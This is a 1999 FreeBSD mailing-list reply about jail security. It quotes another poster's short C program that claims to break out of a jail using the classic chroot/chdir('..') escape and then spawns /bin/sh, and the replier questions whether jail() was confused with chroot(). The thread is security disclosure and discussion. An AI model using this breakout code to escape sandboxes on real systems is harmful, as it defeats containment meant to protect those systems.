From owner-freebsd-hackers  Sat Sep 25  6:41:20 1999
Delivered-To: freebsd-hackers@freebsd.org
Received: from foobar.franken.de (foobar.franken.de [194.94.249.81])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3C7F314A04; Sat, 25 Sep 1999 06:41:03 -0700 (PDT)
	(envelope-from logix@foobar.franken.de)
Received: (from logix@localhost)
	by foobar.franken.de (8.8.8/8.8.5) id PAA14293;
	Sat, 25 Sep 1999 15:38:29 +0200 (CEST)
Message-ID: <19990925153829.B14097@foobar.franken.de>
Date: Sat, 25 Sep 1999 15:38:29 +0200
From: Harold Gutch <logix@foobar.franken.de>
To: Alexander Bezroutchko <abb@zenon.net>,
	freebsd-security@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG
Subject: Re: about jail
References: <199909251302.RAA58030@grendel.sovlink.ru> <19990925171712.A80535@zenon.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.2i
In-Reply-To: <19990925171712.A80535@zenon.net>; from Alexander Bezroutchko on Sat, Sep 25, 1999 at 05:17:12PM +0400
Sender: owner-freebsd-hackers@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, Sep 25, 1999 at 05:17:12PM +0400, Alexander Bezroutchko wrote:
> * it is possible to escape from jail
>  Following program escapes from jail (tested under 4.0-19990918-CURRENT):
> 
>  /* --- start of example ------------------------- */
>  #include <unistd.h>
>  #include <assert.h>
> 
>  const char *shell = "/bin/sh";
>  const char *lowerdir = "/tmp";
> 
>  int main() {
>         int i;
> 
>         assert(chdir("/") != -1);
>         assert(chroot(lowerdir) != -1);
>         for (i = 0; i < 32; i++)
>                 assert(chdir("..") != -1);
>         assert(chroot(".") != -1);
> 
>         assert(execl(shell, shell, NULL) != -1);
>  };
>  /* --- end of example --------------------------- */
> 
I don't run -CURRENT, so I can't test this - but this is the
standard chroot()-breakout, and you're saying that using it you
can break out of a _jail_ aswell ? Or are you simply mixing up
jail() and chroot() ?

bye,
  Harold

-- 
<Shabby> Sleep is an abstinence syndrome wich occurs due to lack of caffein.
Wed Mar  4 04:53:33 CET 1998   #unix, ircnet


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-hackers" in the body of the message